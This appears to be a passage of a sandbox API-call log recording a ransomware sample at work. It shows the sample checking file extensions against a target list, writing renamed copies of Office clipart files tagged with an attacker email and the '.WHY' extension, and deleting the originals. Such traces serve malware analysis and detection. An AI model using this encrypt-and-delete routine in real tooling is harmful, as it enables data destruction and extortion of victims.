(hFile=0x354) returned 1 [0244.589] CloseHandle (hObject=0x354) returned 1 [0244.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0246.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0246.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0246.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0246.097] lstrlenW (lpString=".doc") returned 4 [0246.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.098] lstrlenW (lpString=".docx") returned 5 [0246.098] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.098] lstrlenW (lpString=".pdf") returned 4 [0246.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.098] lstrlenW (lpString=".xls") returned 4 [0246.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.098] lstrlenW (lpString=".xlsx") returned 5 [0246.098] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.098] lstrlenW (lpString=".ppt") returned 4 [0246.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0246.098] lstrlenW (lpString=".zip") returned 4 [0246.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.099] lstrlenW (lpString=".rar") returned 4 [0246.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.099] lstrlenW (lpString=".bz2") returned 4 [0246.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.099] lstrlenW (lpString=".7z") returned 3 [0246.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0246.099] lstrlenW (lpString=".dbf") returned 4 [0246.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0246.100] lstrlenW (lpString=".1cd") returned 4 [0246.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0246.100] lstrlenW (lpString=".jpg") returned 4 [0246.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0246.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0246.100] lstrlenW (lpString=".doc") returned 4 [0246.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.101] lstrlenW (lpString=".docx") returned 5 [0246.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.101] lstrlenW (lpString=".pdf") returned 4 [0246.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.101] lstrlenW (lpString=".xls") returned 4 [0246.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.101] lstrlenW (lpString=".xlsx") returned 5 [0246.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.101] lstrlenW (lpString=".ppt") returned 4 [0246.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0246.101] lstrlenW (lpString=".zip") returned 4 [0246.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.101] lstrlenW (lpString=".rar") returned 4 [0246.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.101] lstrlenW (lpString=".bz2") returned 4 [0246.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.102] lstrlenW (lpString=".7z") returned 3 [0246.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0246.102] lstrlenW (lpString=".dbf") returned 4 [0246.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0246.102] lstrlenW (lpString=".1cd") returned 4 [0246.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0246.102] lstrlenW (lpString=".jpg") returned 4 [0246.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.103] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0246.103] lstrlenW (lpString="AN01173_.WMF") returned 12 [0246.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0246.113] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=26332) returned 1 [0246.113] CloseHandle (hObject=0x354) returned 1 [0246.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0246.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0246.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0246.159] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.159] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0246.160] GetLastError () returned 0x0 [0246.160] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x66dc, lpOverlapped=0x0) returned 1 [0246.355] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x66e0, lpOverlapped=0x0) returned 1 [0246.359] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.359] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.359] SetEndOfFile (hFile=0x3b0) returned 1 [0246.360] CloseHandle (hObject=0x3b0) returned 1 [0246.362] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.362] SetEndOfFile (hFile=0x3a4) returned 1 [0246.370] CloseHandle (hObject=0x3a4) returned 1 [0246.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0246.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0246.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0246.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0246.372] lstrlenW (lpString=".doc") returned 4 [0246.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.373] lstrlenW (lpString=".docx") returned 5 [0246.373] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.373] lstrlenW (lpString=".pdf") returned 4 [0246.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.373] lstrlenW (lpString=".xls") returned 4 [0246.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.373] lstrlenW (lpString=".xlsx") returned 5 [0246.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.373] lstrlenW (lpString=".ppt") returned 4 [0246.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0246.373] lstrlenW (lpString=".zip") returned 4 [0246.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.374] lstrlenW (lpString=".rar") returned 4 [0246.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.374] lstrlenW (lpString=".bz2") returned 4 [0246.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.374] lstrlenW (lpString=".7z") returned 3 [0246.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0246.374] lstrlenW (lpString=".dbf") returned 4 [0246.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0246.374] lstrlenW (lpString=".1cd") returned 4 [0246.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0246.375] lstrlenW (lpString=".jpg") returned 4 [0246.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0246.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0246.376] lstrlenW (lpString=".doc") returned 4 [0246.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.376] lstrlenW (lpString=".docx") returned 5 [0246.376] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.376] lstrlenW (lpString=".pdf") returned 4 [0246.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.376] lstrlenW (lpString=".xls") returned 4 [0246.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.376] lstrlenW (lpString=".xlsx") returned 5 [0246.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.376] lstrlenW (lpString=".ppt") returned 4 [0246.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0246.377] lstrlenW (lpString=".zip") returned 4 [0246.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.377] lstrlenW (lpString=".rar") returned 4 [0246.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.377] lstrlenW (lpString=".bz2") returned 4 [0246.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.377] lstrlenW (lpString=".7z") returned 3 [0246.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0246.377] lstrlenW (lpString=".dbf") returned 4 [0246.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0246.377] lstrlenW (lpString=".1cd") returned 4 [0246.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0246.378] lstrlenW (lpString=".jpg") returned 4 [0246.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.378] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0246.378] lstrlenW (lpString="AN01184_.WMF") returned 12 [0246.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0247.754] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=3746) returned 1 [0247.754] CloseHandle (hObject=0x258) returned 1 [0247.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0247.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0247.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0247.837] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.837] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0248.132] GetLastError () returned 0x0 [0248.132] ReadFile (in: hFile=0x3b4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0xea2, lpOverlapped=0x0) returned 1 [0248.142] WriteFile (in: hFile=0x384, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xeb0, lpOverlapped=0x0) returned 1 [0248.146] ReadFile (in: hFile=0x3b4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.146] WriteFile (in: hFile=0x384, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.146] SetEndOfFile (hFile=0x384) returned 1 [0248.147] CloseHandle (hObject=0x384) returned 1 [0248.148] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.148] SetEndOfFile (hFile=0x3b4) returned 1 [0248.158] CloseHandle (hObject=0x3b4) returned 1 [0248.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0248.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0248.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0248.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0248.724] lstrlenW (lpString=".doc") returned 4 [0248.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.724] lstrlenW (lpString=".docx") returned 5 [0248.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.724] lstrlenW (lpString=".pdf") returned 4 [0248.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.724] lstrlenW (lpString=".xls") returned 4 [0248.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.724] lstrlenW (lpString=".xlsx") returned 5 [0248.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.724] lstrlenW (lpString=".ppt") returned 4 [0248.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0248.725] lstrlenW (lpString=".zip") returned 4 [0248.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.725] lstrlenW (lpString=".rar") returned 4 [0248.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.725] lstrlenW (lpString=".bz2") returned 4 [0248.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.725] lstrlenW (lpString=".7z") returned 3 [0248.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0248.725] lstrlenW (lpString=".dbf") returned 4 [0248.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0248.725] lstrlenW (lpString=".1cd") returned 4 [0248.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0248.726] lstrlenW (lpString=".jpg") returned 4 [0248.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0248.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0248.726] lstrlenW (lpString=".doc") returned 4 [0248.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.726] lstrlenW (lpString=".docx") returned 5 [0248.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.726] lstrlenW (lpString=".pdf") returned 4 [0248.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.727] lstrlenW (lpString=".xls") returned 4 [0248.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.727] lstrlenW (lpString=".xlsx") returned 5 [0248.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.727] lstrlenW (lpString=".ppt") returned 4 [0248.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0248.727] lstrlenW (lpString=".zip") returned 4 [0248.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.727] lstrlenW (lpString=".rar") returned 4 [0248.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.727] lstrlenW (lpString=".bz2") returned 4 [0248.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.727] lstrlenW (lpString=".7z") returned 3 [0248.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0248.728] lstrlenW (lpString=".dbf") returned 4 [0248.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0248.728] lstrlenW (lpString=".1cd") returned 4 [0248.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0248.728] lstrlenW (lpString=".jpg") returned 4 [0248.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.729] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0248.729] lstrlenW (lpString="AN02122_.WMF") returned 12 [0248.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.773] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=7540) returned 1 [0248.773] CloseHandle (hObject=0x3ac) returned 1 [0248.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0250.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0250.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0251.053] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.053] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0251.382] GetLastError () returned 0x0 [0251.382] ReadFile (in: hFile=0x394, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x1d74, lpOverlapped=0x0) returned 1 [0251.454] WriteFile (in: hFile=0x384, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x1d80, lpOverlapped=0x0) returned 1 [0251.457] ReadFile (in: hFile=0x394, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.458] WriteFile (in: hFile=0x384, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.458] SetEndOfFile (hFile=0x384) returned 1 [0251.458] CloseHandle (hObject=0x384) returned 1 [0251.459] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.459] SetEndOfFile (hFile=0x394) returned 1 [0251.966] CloseHandle (hObject=0x394) returned 1 [0251.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0251.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0251.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0251.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0251.968] lstrlenW (lpString=".doc") returned 4 